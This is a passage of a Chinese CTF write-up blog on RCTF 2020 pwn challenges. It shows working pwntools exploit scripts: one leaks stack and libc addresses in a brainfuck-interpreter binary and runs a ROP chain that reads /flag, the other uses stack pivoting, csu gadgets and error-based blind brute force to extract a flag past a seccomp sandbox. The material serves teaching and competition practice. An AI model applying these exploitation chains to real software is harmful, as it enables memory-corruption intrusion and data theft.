class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"></span><br><span class="line">context.arch = <span class="string">'amd64'</span></span><br><span class="line">context.log_level = <span class="string">'debug'</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">write_low_bit</span><span class="params">(low_bit,offset)</span>:</span></span><br><span class="line">    p.recvuntil(<span class="string">"enter your code:\n"</span>)</span><br><span class="line">    p.sendline(<span class="string">",[&gt;,]&gt;,"</span>)</span><br><span class="line">    p.recvuntil(<span class="string">"running....\n"</span>)</span><br><span class="line">    p.send(<span class="string">"B"</span>*<span class="number">0x3ff</span>+<span class="string">'\x00'</span>)</span><br><span class="line">    p.send(chr(low_bit+offset))</span><br><span class="line">    p.recvuntil(<span class="string">"your code: "</span>)</span><br><span class="line">    p.recvuntil(<span class="string">"continue?\n"</span>)</span><br><span class="line">    p.send(<span class="string">'y'</span>)</span><br><span class="line">    p.recvuntil(<span class="string">"enter your code:\n"</span>)</span><br><span class="line">    p.sendline(<span class="string">"\x00"</span>*<span class="number">0xf</span>)</span><br><span class="line">    p.recvuntil(<span class="string">"continue?\n"</span>)</span><br><span class="line">    p.send(<span class="string">'y'</span>)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">main</span><span class="params">(host,port=<span class="number">6002</span>)</span>:</span></span><br><span class="line">    <span class="keyword">global</span> p</span><br><span class="line">    <span class="keyword">if</span> host:</span><br><span class="line">        p = remote(host,port)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        p = process(<span class="string">"./bf"</span>)</span><br><span class="line"></span><br><span class="line">        <span class="comment"># gdb.attach(p)</span></span><br><span class="line">    <span class="comment"># leak low_bit</span></span><br><span class="line">    p.recvuntil(<span class="string">"enter your code:\n"</span>)</span><br><span class="line">    <span class="comment"># pause()</span></span><br><span class="line">    p.sendline(<span class="string">",[.&gt;,]&gt;."</span>)</span><br><span class="line">    p.send(<span class="string">"B"</span>*<span class="number">0x3ff</span>+<span class="string">'\x00'</span>)  <span class="comment"># 0x400</span></span><br><span class="line">    p.recvuntil(<span class="string">"running....\n"</span>)</span><br><span class="line">    p.recvuntil(<span class="string">"B"</span>*<span class="number">0x3ff</span>)</span><br><span class="line">    <span class="comment"># pause()</span></span><br><span class="line">    low_bit = ord(p.recv(<span class="number">1</span>))</span><br><span class="line">    info(<span class="string">'low_bit: '</span>+ hex(low_bit))</span><br><span class="line">    <span class="keyword">if</span> low_bit + <span class="number">0x70</span> &gt;= <span class="number">0x100</span>: <span class="comment"># :(</span></span><br><span class="line">        sys.exit(<span class="number">0</span>)</span><br><span class="line">    <span class="comment"># debug(0x000000000001C47)</span></span><br><span class="line">    p.recvuntil(<span class="string">"continue?\n"</span>)</span><br><span class="line">    p.send(<span class="string">'y'</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    <span class="comment"># leak stack</span></span><br><span class="line">    p.recvuntil(<span class="string">"enter your code:\n"</span>)</span><br><span class="line">    p.sendline(<span class="string">",[&gt;,]&gt;,"</span>)</span><br><span class="line">    p.recvuntil(<span class="string">"running....\n"</span>)</span><br><span class="line">    <span class="comment"># pause()</span></span><br><span class="line">    p.send(<span class="string">"B"</span>*<span class="number">0x3ff</span>+<span class="string">'\x00'</span>)</span><br><span class="line">    p.send(chr(low_bit+<span class="number">0x20</span>))  </span><br><span class="line">    p.recvuntil(<span class="string">"your code: "</span>)</span><br><span class="line">    stack = u64(p.recvuntil(<span class="string">"\n"</span>,drop=<span class="keyword">True</span>).ljust(<span class="number">8</span>,<span class="string">"\x00"</span>)) - <span class="number">0xd8</span>  </span><br><span class="line">    info(<span class="string">"stack : "</span> + hex(stack))</span><br><span class="line">    p.recvuntil(<span class="string">"continue?\n"</span>)</span><br><span class="line">    p.send(<span class="string">'y'</span>)</span><br><span class="line">    <span class="comment"># leak libc</span></span><br><span class="line"></span><br><span class="line">    p.recvuntil(<span class="string">"enter your code:\n"</span>)</span><br><span class="line">    p.sendline(<span class="string">",[&gt;,]&gt;,"</span>)</span><br><span class="line">    p.recvuntil(<span class="string">"running....\n"</span>)</span><br><span class="line">    p.send(<span class="string">"B"</span>*<span class="number">0x3ff</span>+<span class="string">'\x00'</span>)</span><br><span class="line">    p.send(chr(low_bit+<span class="number">0x38</span>))</span><br><span class="line">    p.recvuntil(<span class="string">"your code: "</span>)</span><br><span class="line">    libc.address = u64(p.recvuntil(<span class="string">"\n"</span>,drop=<span class="keyword">True</span>).ljust(<span class="number">8</span>,<span class="string">"\x00"</span>)) - <span class="number">0x21b97</span></span><br><span class="line">    info(<span class="string">"libc : "</span> + hex(libc.address))</span><br><span class="line">    p.recvuntil(<span class="string">"continue?\n"</span>)</span><br><span class="line">    p.send(<span class="string">'y'</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># do rop</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># 0x00000000000a17e0: pop rdi; ret;</span></span><br><span class="line">    <span class="comment"># 0x00000000001306d9: pop rdx; pop rsi; ret;</span></span><br><span class="line">    p_rdi = <span class="number">0x00000000000a17e0</span> + libc.address</span><br><span class="line">    p_rdx_rsi = <span class="number">0x00000000001306d9</span> + libc.address</span><br><span class="line">    ret = <span class="number">0x00000000000d3d8a</span> + libc.address</span><br><span class="line">    p_rax = <span class="number">0x00000000000439c8</span> + libc.address</span><br><span class="line">    syscall_ret = <span class="number">0x00000000000d2975</span> + libc.address  <span class="comment"># d2975!! get uid func</span></span><br><span class="line"></span><br><span class="line">    rop_chain = [</span><br><span class="line">        <span class="number">0</span>,<span class="number">0</span>,p_rdi,<span class="number">0</span>,p_rdx_rsi,<span class="number">0x100</span>,stack,libc.symbols[<span class="string">"read"</span>]</span><br><span class="line">    ]</span><br><span class="line"></span><br><span class="line">    rop_chain_len = len(rop_chain)  <span class="comment"># len=8</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> range(rop_chain_len<span class="number">-1</span>,<span class="number">0</span>,<span class="number">-1</span>):</span><br><span class="line">        write_low_bit(low_bit,<span class="number">0x57</span><span class="number">-8</span>*(rop_chain_len<span class="number">-1</span>-i))</span><br><span class="line">        p.recvuntil(<span class="string">"enter your code:\n"</span>)</span><br><span class="line">        p.sendline(<span class="string">'\x00'</span>+p64(rop_chain[i<span class="number">-1</span>])+p64(rop_chain[i])[:<span class="number">6</span>])</span><br><span class="line">        p.recvuntil(<span class="string">"continue?\n"</span>)</span><br><span class="line">        p.send(<span class="string">'y'</span>)</span><br><span class="line">        pause()</span><br><span class="line"></span><br><span class="line">    write_low_bit(low_bit,<span class="number">0</span>)</span><br><span class="line"></span><br><span class="line">    p.recvuntil(<span class="string">"enter your code:\n"</span>)</span><br><span class="line">    p.sendline(<span class="string">''</span>)</span><br><span class="line">    p.recvuntil(<span class="string">"continue?\n"</span>)</span><br><span class="line">    p.send(<span class="string">'n'</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    payload = <span class="string">"/flag"</span>.ljust(<span class="number">0x30</span>,<span class="string">'\x00'</span>)</span><br><span class="line">    payload += flat([</span><br><span class="line">        p_rax,<span class="number">2</span>,p_rdi,stack,p_rdx_rsi,<span class="number">0</span>,<span class="number">0</span>,syscall_ret,</span><br><span class="line">        p_rdi,<span class="number">3</span>,p_rdx_rsi,<span class="number">0x80</span>,stack+<span class="number">0x200</span>,p_rax,<span class="number">0</span>,syscall_ret,</span><br><span class="line">        p_rax,<span class="number">1</span>,p_rdi,<span class="number">1</span>,syscall_ret</span><br><span class="line">    ])</span><br><span class="line">    pause()</span><br><span class="line">    p.send(payload.ljust(<span class="number">0x100</span>,<span class="string">'\x00'</span>))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    p.interactive()</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">"__main__"</span>:</span><br><span class="line">    libc = ELF(<span class="string">"./libc.so.6"</span>,checksec=<span class="keyword">False</span>)</span><br><span class="line">    <span class="comment"># elf = ELF("./bf",checksec=False)</span></span><br><span class="line">    main(args[<span class="string">'REMOTE'</span>])</span><br></pre></td></tr></table></figure><h2 id="no-write"><a href="#no-write" class="headerlink" title="no_write"></a>no_write</h2><p>一道花式rop的栈溢出题目，在ida中看到有prctl，用工具查看它的seccomp设置。</p><img src="/2020/08/01/2020rctf-some-pwn/3.png"><p>发现只能使用<code>open</code>和<code>read</code>两个系统调用，又没有泄露函数。随后查看它的保护措施。</p><img src="/2020/08/01/2020rctf-some-pwn/4.png"><p>开启了<code>full relro</code>不能使用<code>ret2dl_reslove</code>的攻击方法，但是我们有<code>open</code>和<code>read</code>，是可以想方法<code>open ./flag</code>，然后读入我们可控的数据段中。剩下的方法就是怎么把<code>flag</code>泄露出来。</p><p>在看到的wp中有两种思路很类似SQL的盲注思想，一种是基于错误的盲注，在比较中构造一种情况，比较正确和比较错误其中的一种能够引发异常，通过判断异常来逐位爆破比较；另外一种是基于延时的盲注，还是类似的构造出二元情况，通过判断响应时间来逐位爆破比较。我这里使用基于错误的盲注来解决题目。</p><h3 id="构造read读入rop-chain"><a href="#构造read读入rop-chain" class="headerlink" title="构造read读入rop chain"></a>构造read读入rop chain</h3><p>因为没有地址随机化，所以首先想到我们先构造<code>read</code>读入数据到我们可控的地址上，然后转移栈帧执行我们放入的rop chain。这里的rop chain使用了<code>csu_init</code>中的万能调用gadget，把写入数据放在<code>0x601350</code>，方便后续利用，通过gadget也能同时控制<code>rbp</code>，在末尾放置<code>leave ret</code>开启栈转移操作，控制<code>rip</code>指向我们的rop chain。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">p = process(<span class="string">'./no_write'</span>)</span><br><span class="line">pppppp_ret = <span class="number">0x00000000040076A</span></span><br><span class="line">read_got = <span class="number">0x000000000600FD8</span></span><br><span class="line">leave_tet = <span class="number">0x00000000040070B</span></span><br><span class="line">payload = <span class="string">"A"</span>*<span class="number">0x18</span>+p64(pppppp_ret)+ret_csu(read_got,<span class="number">0</span>,<span class="number">0x601350</span>,<span class="number">0x400</span>)</span><br><span class="line">payload += p64(<span class="number">0</span>)+p64(<span class="number">0x6013f8</span>)+p64(<span class="number">0</span>)*<span class="number">4</span>+p64(leave_tet)  <span class="comment"># move stack to 0x601400</span></span><br><span class="line">payload = payload.ljust(<span class="number">0x100</span>,<span class="string">'\x00'</span>)</span><br><span class="line">p.send(payload)</span><br></pre></td></tr></table></figure><h3 id="利用-libc-start-main"><a href="#利用-libc-start-main" class="headerlink" title="利用__libc_start_main"></a>利用__libc_start_main</h3><p>我们的第二次输入需要使用<code>__libc_start_main</code>调用<code>read_n</code>函数，把函数地址pop进<code>rdi</code>中，剩下的<code>rsi=0x601350</code>和<code>rdx=0x400</code>是可以直接沿用的值，调用<code>__libc_start_main</code>可以让栈上出现libc相关的地址，这样再利用gadget修改这些地址就可以得到我们想要的内容。我们要一位一位的爆破，肯定需要用于比较的指令，随后要使用系统调用肯定需要<code>syscall ret</code>，刚好在栈上残存了两个libc地址可以用。而怎么修改这两个地址？需要用到一个特殊的gadget。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">.text:00000000004005E8                 add     [rbp-3Dh], ebx</span><br><span class="line">.text:00000000004005EB                 nop     dword ptr [rax+rax+00h]</span><br><span class="line">.text:00000000004005F0                 rep retn</span><br></pre></td></tr></table></figure><p>这里的<code>rbp</code>和<code>ebx</code>是可以通过之前的<code>csu_init</code>的gadget控制，所以我们可以用这个修改栈上的地址变成我们可以使用的gadget。</p><p>我这里用于比较的函数是strncmp中的<code>__strncmp_sse42</code>，我们计算offset，让<code>ebx</code>为负数就会变成减。同时这里是要不断调试栈帧的，前面有一定长度的填充，要让<code>__libc_start_main</code>的结束返回地址放在<code>0x601350</code>上，这样我们第三次输入才能直接覆盖返回地址进行rop。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">call_libc_start_main = <span class="number">0x000000000400544</span></span><br><span class="line">readn = <span class="number">0x0000000004006BF</span></span><br><span class="line">p_rdi = <span class="number">0x0000000000400773</span></span><br><span class="line"></span><br><span class="line">payload = <span class="string">"\x00"</span>*(<span class="number">0x100</span><span class="number">-0x50</span>)  <span class="comment"># 0x601400</span></span><br><span class="line">payload += p64(p_rdi)+p64(readn)+p64(call_libc_start_main)  <span class="comment"># also has rsi=0x601350 rdx=0x400</span></span><br><span class="line">payload = payload.ljust(<span class="number">0x400</span>,<span class="string">'\x00'</span>)</span><br></pre></td></tr></table></figure><h3 id="逐位爆破flag"><a href="#逐位爆破flag" class="headerlink" title="逐位爆破flag"></a>逐位爆破flag</h3><p>在<code>__libc_start_main</code>调用完之后，用gadget修改栈上的libc地址为我们想要的gadget，随后开始用这些gadget执行open和read flag文件的操作，需要注意的一点，由于open操作没有对应的got表，所以需要系统调用才能使用，我们可以先调用一次read函数读入两个字节，让<code>rax=2</code>再用<code>syscall ret</code>调用open打开flag文件。读入flag到某个地址中，再读入我们的输入到<code>0x601fff</code>，这样比较的时候如果字符相同就会继续比较下一位，这样就溢出了程序可以控制的地址，引发错误，通过这种报错的方法一位一位爆破比较。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line">offset = <span class="number">0x267870</span> <span class="comment">#initial - __strncmp_sse42</span></span><br><span class="line">payload = p64(pppppp_ret)+p64((<span class="number">0x100000000</span>-offset)&amp;<span class="number">0xffffffff</span>)</span><br><span class="line">payload += p64(<span class="number">0x601318</span>+<span class="number">0x3D</span>)+p64(<span class="number">0</span>)*<span class="number">4</span>+p64(<span class="number">0x4005E8</span>)  <span class="comment"># add [rbp-3Dh], ebx</span></span><br><span class="line"></span><br><span class="line">offset = <span class="number">0x31dcb3</span> <span class="comment"># __exit_funcs_lock - syscall</span></span><br><span class="line">payload += p64(pppppp_ret)+p64((<span class="number">0x100000000</span>-offset)&amp;<span class="number">0xffffffff</span>)</span><br><span class="line">payload += p64(<span class="number">0x601310</span>+<span class="number">0x3D</span>)+p64(<span class="number">0</span>)*<span class="number">4</span>+p64(<span class="number">0x4005E8</span>)</span><br><span class="line">payload += p64(pppppp_ret)+ret_csu(read_got,<span class="number">0</span>,<span class="number">0x601800</span>,<span class="number">2</span>)  <span class="comment"># make rax=2</span></span><br><span class="line">payload += p64(<span class="number">0</span>)*<span class="number">6</span></span><br><span class="line">payload += p64(pppppp_ret)+ret_csu(<span class="number">0x601310</span>,<span class="number">0x601350</span>+<span class="number">0x3f8</span>,<span class="number">0</span>,<span class="number">0</span>) <span class="comment">#open flag</span></span><br><span class="line">payload += p64(<span class="number">0</span>)*<span class="number">6</span></span><br><span class="line">payload += p64(pppppp_ret)+ret_csu(read_got,<span class="number">3</span>,<span class="number">0x601800</span>,<span class="number">0x100</span>)   <span class="comment">#read flag</span></span><br><span class="line">payload += p64(<span class="number">0</span>)*<span class="number">6</span></span><br><span class="line">payload += p64(pppppp_ret)+ret_csu(read_got,<span class="number">0</span>,<span class="number">0x601ff8</span>,<span class="number">8</span>)</span><br><span class="line"><span class="comment"># now we can cmp the flag one_by_one</span></span><br><span class="line">payload += p64(<span class="number">0</span>)*<span class="number">6</span> </span><br><span class="line">payload += p64(pppppp_ret)+ret_csu(<span class="number">0x601318</span>,<span class="number">0x601800</span>+i,<span class="number">0x601fff</span>,<span class="number">2</span>)  <span class="comment"># cmp flag</span></span><br><span class="line">payload += p64(<span class="number">0</span>)*<span class="number">6</span></span><br><span class="line">payload += p64(p_rdi)+p64(<span class="number">0x601700</span>)+p64(p_rsi_r15)+p64(<span class="number">0x100</span>)+p64(<span class="number">0</span>)+p64(readn)</span><br><span class="line"></span><br><span class="line">payload = payload.ljust(<span class="number">0x3f8</span>,<span class="string">'\x00'</span>)</span><br><span class="line">payload += <span class="string">"flag\x00\x00\x00\x00"</span></span><br><span class="line">p.send(payload)</span><br><span class="line"></span><br><span class="line">sleep(<span class="number">0.3</span>)</span><br><span class="line">p.send(<span class="string">"dd"</span>+<span class="string">"d"</span>*<span class="number">7</span>+j)</span><br><span class="line">sleep(<span class="number">0.5</span>)</span><br><span class="line">p.recv(timeout=<span class="number">0.5</span>)</span><br><span class="line">p.send(<span class="string">"A"</span>*<span class="number">0x100</span>)</span><br><span class="line">p.close()</span><br></pre></td></tr></table></figure><h3 id="总结-2"><a href="#总结-2" class="headerlink" title="总结"></a>总结</h3><p>同样是一道非常有趣的题目，学到pwn中的一些盲注思路，和SQL注入类似都有基于报错的和基于延时的方法。以及利用<code>__libc_start_main</code>让libc地址出现在栈空间上，再利用gadget修改成我们想要的gadget完成整体的利用。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> string</span><br><span class="line">context.arch=<span class="string">'amd64'</span></span><br><span class="line">context.log_level = <span class="string">'debug'</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">ret_csu</span><span class="params">(func,arg1=<span class="number">0</span>,arg2=<span class="number">0</span>,arg3=<span class="number">0</span>)</span>:</span></span><br><span class="line">    payload = <span class="string">''</span></span><br><span class="line">    payload += p64(<span class="number">0</span>)+p64(<span class="number">1</span>)+p64(func)</span><br><span class="line">    payload += p64(arg1)+p64(arg2)+p64(arg3)+p64(<span class="number">0x000000000400750</span>)+p64(<span class="number">0</span>)</span><br><span class="line">    <span class="keyword">return</span> payload</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">main</span><span class="params">(host,port=<span class="number">2333</span>)</span>:</span></span><br><span class="line">    <span class="comment"># global p</span></span><br><span class="line">    <span class="comment"># if host:</span></span><br><span class="line">        <span class="comment"># p = remote(host,port)</span></span><br><span class="line">    <span class="comment"># else:</span></span><br><span class="line">        <span class="comment"># p = process("./no_write")</span></span><br><span class="line">        <span class="comment"># gdb.attach(p,"b* 0x0000000004006E6")</span></span><br><span class="line">    <span class="comment"># 0x0000000000400773 : pop rdi ; ret</span></span><br><span class="line">    <span class="comment"># 0x0000000000400771 : pop rsi ; pop r15 ; ret</span></span><br><span class="line">    <span class="comment"># .text:0000000000400544                 call    cs:__libc_start_main_ptr</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># .text:00000000004005E8                 add     [rbp-3Dh], ebx</span></span><br><span class="line">    <span class="comment"># .text:00000000004005EB                 nop     dword ptr [rax+rax+00h]</span></span><br><span class="line">    <span class="comment"># .text:00000000004005F0                 rep retn</span></span><br><span class="line">    charset = <span class="string">'&#125;&#123;_'</span>+string.digits+string.letters</span><br><span class="line">    flag = <span class="string">''</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">0x30</span>):</span><br><span class="line">        <span class="keyword">for</span> j <span class="keyword">in</span> charset:</span><br><span class="line">            <span class="keyword">try</span>:</span><br><span class="line">                <span class="comment"># p = remote(host,6000)</span></span><br><span class="line">                p = process(<span class="string">'./no_write'</span>)</span><br><span class="line">                pppppp_ret = <span class="number">0x00000000040076A</span></span><br><span class="line">                read_got = <span class="number">0x000000000600FD8</span></span><br><span class="line">                call_libc_start_main = <span class="number">0x000000000400544</span></span><br><span class="line">                p_rdi = <span class="number">0x0000000000400773</span></span><br><span class="line">                p_rsi_r15 = <span class="number">0x0000000000400771</span></span><br><span class="line">                <span class="comment"># 03:0018|  0x601318 -&gt; 0x7f6352629d80 (initial) &lt;-0x0</span></span><br><span class="line">                offset = <span class="number">0x267870</span> <span class="comment">#initial - __strncmp_sse42</span></span><br><span class="line">                readn = <span class="number">0x0000000004006BF</span></span><br><span class="line">                leave_tet = <span class="number">0x00000000040070B</span></span><br><span class="line">                payload = <span class="string">"A"</span>*<span class="number">0x18</span>+p64(pppppp_ret)+ret_csu(read_got,<span class="number">0</span>,<span class="number">0x601350</span>,<span class="number">0x400</span>)  </span><br><span class="line">                payload += p64(<span class="number">0</span>)+p64(<span class="number">0x6013f8</span>)+p64(<span class="number">0</span>)*<span class="number">4</span>+p64(leave_tet)  <span class="comment"># move stack to 0x601400</span></span><br><span class="line">                payload = payload.ljust(<span class="number">0x100</span>,<span class="string">'\x00'</span>)</span><br><span class="line">                p.send(payload)</span><br><span class="line">                sleep(<span class="number">0.3</span>)</span><br><span class="line">                payload = <span class="string">"\x00"</span>*(<span class="number">0x100</span><span class="number">-0x50</span>)  <span class="comment"># 0x601400</span></span><br><span class="line">                payload += p64(p_rdi)+p64(readn)+p64(call_libc_start_main)  <span class="comment"># also has rsi=0x601350 rdx=0x400</span></span><br><span class="line">                payload = payload.ljust(<span class="number">0x400</span>,<span class="string">'\x00'</span>)</span><br><span class="line">                <span class="comment"># pause()</span></span><br><span class="line">                p.send(payload)</span><br><span class="line">                <span class="comment"># pause()</span></span><br><span class="line">                sleep(<span class="number">0.3</span>)</span><br><span class="line">                <span class="comment"># 0x601318</span></span><br><span class="line">                payload = p64(pppppp_ret)+p64((<span class="number">0x100000000</span>-offset)&amp;<span class="number">0xffffffff</span>)  </span><br><span class="line">                payload += p64(<span class="number">0x601318</span>+<span class="number">0x3D</span>)+p64(<span class="number">0</span>)*<span class="number">4</span>+p64(<span class="number">0x4005E8</span>)  <span class="comment"># add [rbp-3Dh], ebx</span></span><br><span class="line">                <span class="comment"># 0x00000000000d2975: syscall; ret;</span></span><br><span class="line">                <span class="comment"># 02:0010|            0x601310 -&gt; 0x7f61d00d8628 (__exit_funcs_lock) &lt;- 0x0</span></span><br><span class="line">                offset = <span class="number">0x31dcb3</span> <span class="comment"># __exit_funcs_lock - syscall</span></span><br><span class="line">                payload += p64(pppppp_ret)+p64((<span class="number">0x100000000</span>-offset)&amp;<span class="number">0xffffffff</span>)</span><br><span class="line">                payload += p64(<span class="number">0x601310</span>+<span class="number">0x3D</span>)+p64(<span class="number">0</span>)*<span class="number">4</span>+p64(<span class="number">0x4005E8</span>)</span><br><span class="line">                payload += p64(pppppp_ret)+ret_csu(read_got,<span class="number">0</span>,<span class="number">0x601800</span>,<span class="number">2</span>)  <span class="comment"># make rax=2</span></span><br><span class="line">                payload += p64(<span class="number">0</span>)*<span class="number">6</span></span><br><span class="line">                payload += p64(pppppp_ret)+ret_csu(<span class="number">0x601310</span>,<span class="number">0x601350</span>+<span class="number">0x3f8</span>,<span class="number">0</span>,<span class="number">0</span>) <span class="comment">#open flag</span></span><br><span class="line">                payload += p64(<span class="number">0</span>)*<span class="number">6</span></span><br><span class="line">                payload += p64(pppppp_ret)+ret_csu(read_got,<span class="number">3</span>,<span class="number">0x601800</span>,<span class="number">0x100</span>)   <span class="comment">#read flag</span></span><br><span class="line">                payload += p64(<span class="number">0</span>)*<span class="number">6</span></span><br><span class="line">                payload += p64(pppppp_ret)+ret_csu(read_got,<span class="number">0</span>,<span class="number">0x601ff8</span>,<span class="number">8</span>)</span><br><span class="line">                <span class="comment"># now we can cmp the flag one_by_one</span></span><br><span class="line">                payload += p64(<span class="number">0</span>)*<span class="number">6</span> </span><br><span class="line">                payload += p64(pppppp_ret)+ret_csu(<span class="number">0x601318</span>,<span class="number">0x601800</span>+i,<span class="number">0x601fff</span>,<span class="number">2</span>)  <span class="comment"># cmp flag</span></span><br><span class="line">                payload += p64(<span class="number">0</span>)*<span class="number">6</span></span><br><span class="line">                <span class="comment"># for _ in range(4):</span></span><br><span class="line">                <span class="comment">#     payload += p64(p_rdi)+p64(0x601700)+p64(p_rsi_r15)+p64(0x100)+p64(0)+p64(readn)</span></span><br><span class="line">                payload += p64(p_rdi)+p64(<span class="number">0x601700</span>)+p64(p_rsi_r15)+p64(<span class="number">0x100</span>)+p64(<span class="number">0</span>)+p64(readn)</span><br><span class="line"></span><br><span class="line">                payload = payload.ljust(<span class="number">0x3f8</span>,<span class="string">'\x00'</span>)</span><br><span class="line">                payload += <span class="string">"flag\x00\x00\x00\x00"</span></span><br><span class="line">                p.send(payload)</span><br><span class="line">                <span class="comment"># pause()</span></span><br><span class="line">                sleep(<span class="number">0.3</span>)</span><br><span class="line">                p.send(<span class="string">"dd"</span>+<span class="string">"d"</span>*<span class="number">7</span>+j)</span><br><span class="line">                <span class="comment"># pause()</span></span><br><span class="line">                sleep(<span class="number">0.5</span>)</span><br><span class="line">                p.recv(timeout=<span class="number">0.5</span>)</span><br><span class="line">                p.send(<span class="string">"A"</span>*<span class="number">0x100</span>)</span><br><span class="line">                <span class="comment"># pause()</span></span><br><span class="line">                <span class="comment"># info(j)</span></span><br><span class="line">                p.close()</span><br><span class="line">                <span class="comment"># p.interactive()</span></span><br><span class="line">            <span class="keyword">except</span> EOFError:</span><br><span class="line">                flag += j</span><br><span class="line">                info(flag)</span><br><span class="line">                print(<span class="number">1</span>)</span><br><span class="line">                <span class="keyword">if</span>(j == <span class="string">'&#125;'</span>):</span><br><span class="line">                    exit()</span><br><span class="line">                p.close()</span><br><span class="line">                <span class="comment"># pause()</span></span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">"__main__"</span>:</span><br><span class="line">    libc = ELF(<span class="string">'/lib/x86_64-linux-gnu/libc.so.6'</span>,checksec=<span class="keyword">False</span>)</span><br><span class="line">    main(args[<span class="string">"REMOTE"</span>])</span><br></pre></td></tr></table></figure><h2 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h2><p><a href="https://blog.rois.io/2020/rctf-2020-official-writeup/" target="_blank" rel="noopener">https://blog.rois.io/2020/rctf-2020-official-writeup/</a></p><p><a href="https://www.jianshu.com/p/be6bbc251919" target="_blank" 